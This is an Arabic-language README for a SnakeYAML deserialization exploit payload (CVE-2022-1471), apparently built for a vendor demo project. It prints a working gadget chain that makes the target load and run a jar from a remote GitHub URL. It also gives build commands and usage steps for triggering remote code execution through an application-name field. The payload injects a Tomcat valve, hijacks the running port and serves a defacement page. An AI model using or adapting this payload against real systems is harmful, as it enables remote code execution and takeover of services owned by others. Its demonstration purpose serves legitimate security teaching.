yaml-payload

حمولة استغلال لإلغاء تسلسل SnakeYAML لـ CVE-2022-1471، مقتبسة من artsploit/yaml-payload (مبنية أصلاً على mbechler/marshalsec).

ما الذي يفعله

عند تحميلها عبر Yaml.load() غير الآمن من SnakeYAML، تستولي هذه الحمولة على التطبيق الجاري وتستبدله بصفحة "You've Been PWNED":

1. حقن صمام Tomcat في تطبيق Spring Boot قيد التشغيل عبر الانعكاس، مع اختطاف المنفذ 8080 الحالي — نفس عنوان URL (بما في ذلك أي نفق ngrok) يخدم الآن صفحة PWNED
2. إعادة توجيه المتصفح تلقائياً — يرسل استجابة POST إعادة توجيه 302، لذا يقوم المتصفح بتحميل صفحة PWNED فوراً دون تحديث يدوي
3. فتح المتصفح تلقائياً إلى عنوان URL الصحيح (عنوان ngrok العام إذا كان متاحاً، وإلا localhost:8080)
4. طباعة دليل الاستغلال إلى سجلات التحكم/CI

إذا لم يكن حقن صمام Tomcat متاحاً (مثل تطبيق غير Spring)، فإنه يتراجع إلى بدء خادم HTTP مستقل على المنفذ 9999 وينشئ نفق ngrok تلقائياً إذا كان ngrok قيد التشغيل.

يعمل هذا محلياً على macOS وفي خطوط أنابيب CI/CD (مثل GitHub Actions على Ubuntu).

كيف تعمل سلسلة الاستغلال

تقوم حمولة SnakeYAML بتشغيل ScriptEngineManager عبر SPI لجافا (واجهة مزود الخدمة):

!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["https://raw.githubusercontent.com/seal-sec-demo-2/yaml-payload/main/yaml-payload.jar"]]]]

1. يقوم SnakeYAML بإنشاء java.net.URL يشير إلى yaml-payload.jar الخاص بهذا المستودع
2. يلفه في URLClassLoader لتحميل الفئات عن بُعد
3. يكتشف ScriptEngineManager ويحمل AwesomeScriptEngineFactory عبر META-INF/services/javax.script.ScriptEngineFactory
4. يقوم مُنشئ المصنع بحقن صمام في خط أنابيب Tomcat الجاري، مع استبدال كل استجابة لاحقة على / بصفحة PWNED

البناء

يتطلب JDK 17+:

javac -d build src/artsploit/AwesomeScriptEngineFactory.java
cp -r src/META-INF build/
cd build && jar -cfv ../yaml-payload.jar . && cd ..

الاستخدام

تُستخدم كحمولة استغلال في مشروع maven-demo. الصق سلسلة الحمولة في حقل اسم التطبيق لتشغيل RCE. سيتم استبدال صفحة التطبيق بصفحة PWNED عند الطلب التالي. راجع README الخاص بذلك المستودع للحصول على تعليمات العرض التوضيحي الكاملة.